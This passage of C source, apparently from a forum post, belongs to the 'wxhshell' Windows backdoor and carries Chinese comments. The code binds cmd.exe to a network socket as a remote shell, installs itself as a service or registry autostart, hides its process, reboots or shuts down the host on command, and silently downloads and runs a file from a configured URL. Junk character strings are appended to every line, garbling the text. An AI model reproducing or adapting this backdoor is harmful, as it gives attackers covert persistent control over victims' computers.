      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {-2I^Ym 5i  
    break; ~=aD*v<3d  
  } 'IY?7+[  
  // 安装 <_=a1x  
  case 'i': { P#\L6EO.  
    if(Install()) -^=gQ7f9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %k_R;/fjW  
    else GM%%7^uE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DDq*#;dP  
    break; N&K:Jp  
    } Q9tBHz  
  // 卸载 ~>3$Id:  
  case 'r': { 9eo$Duws  
    if(Uninstall()) KFCrJ )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oJK1~;:  
    else U2\g Kg[-Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Xk-hhR  
    break; b? jRA^  
    } %Ui&SZ\  
  // 显示 wxhshell 所在路径 'e_^s+l)a  
  case 'p': { {"S"V  
    char svExeFile[MAX_PATH]; &Ey5 H?U!  
    strcpy(svExeFile,"\n\r"); -'QvUHL|  
      strcat(svExeFile,ExeFile); Ac 0C,*|^  
        send(wsh,svExeFile,strlen(svExeFile),0); mw!D|  
    break; $YSAD\a<  
    } )WF]v"t  
  // 重启 r" d/ 9  
  case 'b': { [wWip1OR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !*HH5qh6  
    if(Boot(REBOOT)) TUHC[#Vb?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f]L`^WU  
    else { /5 B{szf  
    closesocket(wsh); >p [|U`>{  
    ExitThread(0); %W~Kx_  
    } L}UJ`U  
    break; PVH^yWi n  
    } S;sggeP7,  
  // 关机 +ObP[F  
  case 'd': { 7(rNJPrU~=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #n2'N^t  
    if(Boot(SHUTDOWN)) }J73{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HhDiGzOSi  
    else { Tjma'3H*T0  
    closesocket(wsh); eu@hmR8T  
    ExitThread(0); |s`j=<rNQI  
    } }u:@:}8K  
    break; |b7 v(Hx  
    } _eb:"(m  
  // 获取shell q4'szDYO2  
  case 's': { fw$/@31AP?  
    CmdShell(wsh); h[b5"Uqj  
    closesocket(wsh); @]P#]%^D2  
    ExitThread(0); 3}e-qFlV8,  
    break; CG*eo!Nw  
  } 3B!lE(r%J  
  // 退出 Cx2s5vJX4p  
  case 'x': { wi^zXcVj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eQ`TW'[9_6  
    CloseIt(wsh); 0O<g) %Vz>  
    break; :@x24wN/  
    } N7Vv"o  
  // 离开 l5_RG,O0A  
  case 'q': { ! 7A _UA8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )#n0~7 &  
    closesocket(wsh); |TL&#U  
    WSACleanup(); 1DVu`<OXcH  
    exit(1); xS?[v&"2  
    break; ^ZV1Ev8T6  
        } (7^5jo[D  
  } 1"? 3l`i  
  } Sm(X/P=z  
)'3(=F$+l  
  // 提示信息 ATl.Qku@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oE \Cwd  
} nJ'FH['  
  } #=C!Xx&  
6$$4!R-  
  return; /.B7y(  
} 0t[|3A~Q  
2z+Vt_%  
// shell模块句柄 kDI(Y=Fg  
int CmdShell(SOCKET sock) X3&-kU  
{ {U@&hE -  
STARTUPINFO si; cdiDfiE  
ZeroMemory(&si,sizeof(si)); l)tK/1 W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9eO!_a^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {R<0 'JU  
PROCESS_INFORMATION ProcessInfo; *W,tq(%tQ  
char cmdline[]="cmd"; HwfBbWHr'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 29{Ep   
  return 0; 0,$eiY)u$  
} ~2u~}v5m7  
K"4m)B~@Y  
// 自身启动模式 JrlDTNJj'  
int StartFromService(void) \GhL{Awv&a  
{ 2..b/  
typedef struct /$ Gp<.z  
{ zURxXo/\V  
  DWORD ExitStatus; mU0j K@^&M  
  DWORD PebBaseAddress; qQK0s*^W  
  DWORD AffinityMask; =nPIGI72VO  
  DWORD BasePriority; Mh [TZfV  
  ULONG UniqueProcessId; IIrh|>d_7  
  ULONG InheritedFromUniqueProcessId; ?pSb,kN}'  
}   PROCESS_BASIC_INFORMATION; 1./ uJB/  
(ndXz  
PROCNTQSIP NtQueryInformationProcess; u'Ja9m1  
3h t>eaHi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n^vL9n_N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S:!gj2q9|  
c#o(y6  
  HANDLE             hProcess; %c+`8 wj  
  PROCESS_BASIC_INFORMATION pbi; 12l-NWXf  
ab"6]%_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u@QP<[f  
  if(NULL == hInst ) return 0; aY`qbJy  
MI8f(ZJK5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZqT8G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R\DdU-k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J)(KGdk  
3"v k$  
  if (!NtQueryInformationProcess) return 0; ;Q*=AW  
]`@= ;w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c%|K x  
  if(!hProcess) return 0; Jv_KZDOdk  
'Mp8!9=&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; st~ 1[in  
F3d: W:^_  
  CloseHandle(hProcess); Y2lBQp8'|  
+,oEcCi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %C8p!)Hu  
if(hProcess==NULL) return 0; BpL7s ej7  
|#_IAN  
HMODULE hMod; Tfasry9'8  
char procName[255]; hF m_`J&"  
unsigned long cbNeeded; GD*rTtDWn  
poLzgd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G@$Y6To[  
bogw/)1  
  CloseHandle(hProcess); ,Sz`$'^c  
\tv^],^`  
if(strstr(procName,"services")) return 1; // 以服务启动 tc-pVw:TV  
t<8vgdD  
  return 0; // 注册表启动 Oz8"s4Y7  
} Z8vMVo  
Ug :3)q[O  
// 主模块 _FpZc ?=  
int StartWxhshell(LPSTR lpCmdLine) 8+}yf.`  
{ RbOEXH*]  
  SOCKET wsl; cV;<!f+  
BOOL val=TRUE; VTS7K2lBvX  
  int port=0; y $i^C:N  
  struct sockaddr_in door; 0)<\jo1 F  
`O5 Hzb(}  
  if(wscfg.ws_autoins) Install(); p2m@0ou  
"gt-bo.,  
port=atoi(lpCmdLine); 6yn34'yw  
j?c"BF.  
if(port<=0) port=wscfg.ws_port; kSL7WQe?j  
,=TY:U;?  
  WSADATA data; V]E# N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MH wjJ  
4o/}KUu(*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g5",jTn#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z<_"Tk;!',  
  door.sin_family = AF_INET; ,K/l;M5I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XK*55W &og  
  door.sin_port = htons(port); dUt$kB  
rC !!X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @=i- *U  
closesocket(wsl); N@qP}/}8  
return 1; <@F.qMl  
} bQ%6z}r  
 f$7Xh~  
  if(listen(wsl,2) == INVALID_SOCKET) { #|92 +  
closesocket(wsl); aNt+;M7g`  
return 1; 4*`AYx(  
} MWGs:tpL4  
  Wxhshell(wsl); Z--A:D>  
  WSACleanup(); d+caGpaR  
9\dpJ\  
return 0; R #f*QXv  
n'?AZ4&z  
} j\I{pW-  
mB\)Q J.%  
// 以NT服务方式启动 xYmh{Vc8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <w,NMu"  
{ dnwTD\),  
DWORD   status = 0; Etj0k} A  
  DWORD   specificError = 0xfffffff; j ."L=  
Ee~<PDzB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; biLNR"/E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +6zW(Ql/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k?bIu  
  serviceStatus.dwWin32ExitCode     = 0; y 4 wV]1  
  serviceStatus.dwServiceSpecificExitCode = 0; "V= IG{.  
  serviceStatus.dwCheckPoint       = 0; I ~U1vtgp  
  serviceStatus.dwWaitHint       = 0; )7aUDsu>4  
*\-$.w)k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CI#6 r8u  
  if (hServiceStatusHandle==0) return; xmM!SY>  
'VMov  
status = GetLastError(); dCb7sqJ%  
  if (status!=NO_ERROR) ;c/|LXc\  
{ pftnF OLO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $q$G  
    serviceStatus.dwCheckPoint       = 0; ~|:U"w\[=  
    serviceStatus.dwWaitHint       = 0; ^@V; `jsll  
    serviceStatus.dwWin32ExitCode     = status; -$ VP#%  
    serviceStatus.dwServiceSpecificExitCode = specificError; CD! Aa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +!~"o oQZh  
    return; K]{x0A  
  } @%^JB  
#NyfE|MKBC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %#jW  
  serviceStatus.dwCheckPoint       = 0; x]Pp|rHj  
  serviceStatus.dwWaitHint       = 0; sBq-"YcjR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hl/) 1sOIR  
} JhU"akoK  
W?:e4:Q  
// 处理NT服务事件,比如:启动、停止 _'*Vcu`Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o*t4zF&n  
{ {i^F4A@=Z  
switch(fdwControl) )ep1`n-  
{ <G_71J`MLC  
case SERVICE_CONTROL_STOP: "- ?uB Mz  
  serviceStatus.dwWin32ExitCode = 0; f=EWr8mno  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ql1J?9W  
  serviceStatus.dwCheckPoint   = 0; kf:Nub+h t  
  serviceStatus.dwWaitHint     = 0; si,)!%b  
  { ?on EqH>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z}AhDIw!G  
  } <r1/& RW,  
  return; c;B:o  
case SERVICE_CONTROL_PAUSE: FokSg[)5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )z_5I (?&  
  break; <\'aUfF v  
case SERVICE_CONTROL_CONTINUE: QPyHos `  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dJ 9v/k_  
  break; Y6[ O s1  
case SERVICE_CONTROL_INTERROGATE: m S4N%Q  
  break; /8? u2 q  
}; h J H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tch;_7?  
} M{jJ>S{g  
4M )oA|1w  
// 标准应用程序主函数 $vLGX>H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 98rO]rg  
{ RI3GAd  
Gspb\HJ^  
// 获取操作系统版本 pt%*Y.)az  
OsIsNt=GetOsVer(); !"LFeqI$lr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0O!A8FA0  
|4j'KM;U  
  // 从命令行安装 @b9qBJfQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7NMy1'-q  
LL_@nvu}M  
  // 下载执行文件 >H,5MM!  
if(wscfg.ws_downexe) { O9P4r*prA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0<)Ep~!  
  WinExec(wscfg.ws_filenam,SW_HIDE); [85b+SKW  
} C({r1l4[D  
hEA;5-m  
if(!OsIsNt) { :I2spBx  
// 如果时win9x,隐藏进程并且设置为注册表启动 )E*-  
HideProc(); Kw =RqF  
StartWxhshell(lpCmdLine); FM"[:&>  
} 1l s8h  
else ~hb;kc3  
  if(StartFromService()) 8 +mW  
  // 以服务方式启动 GQ0(lS  
  StartServiceCtrlDispatcher(DispatchTable); =bOMtQ]  
else 13p.dp`  
  // 普通方式启动 cz1 m05E  
  StartWxhshell(lpCmdLine); P#9Pq,I  
~^J9v+  
return 0; @ek8t2??x  
}
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只看该作者 1 发表于: 2006-10-10
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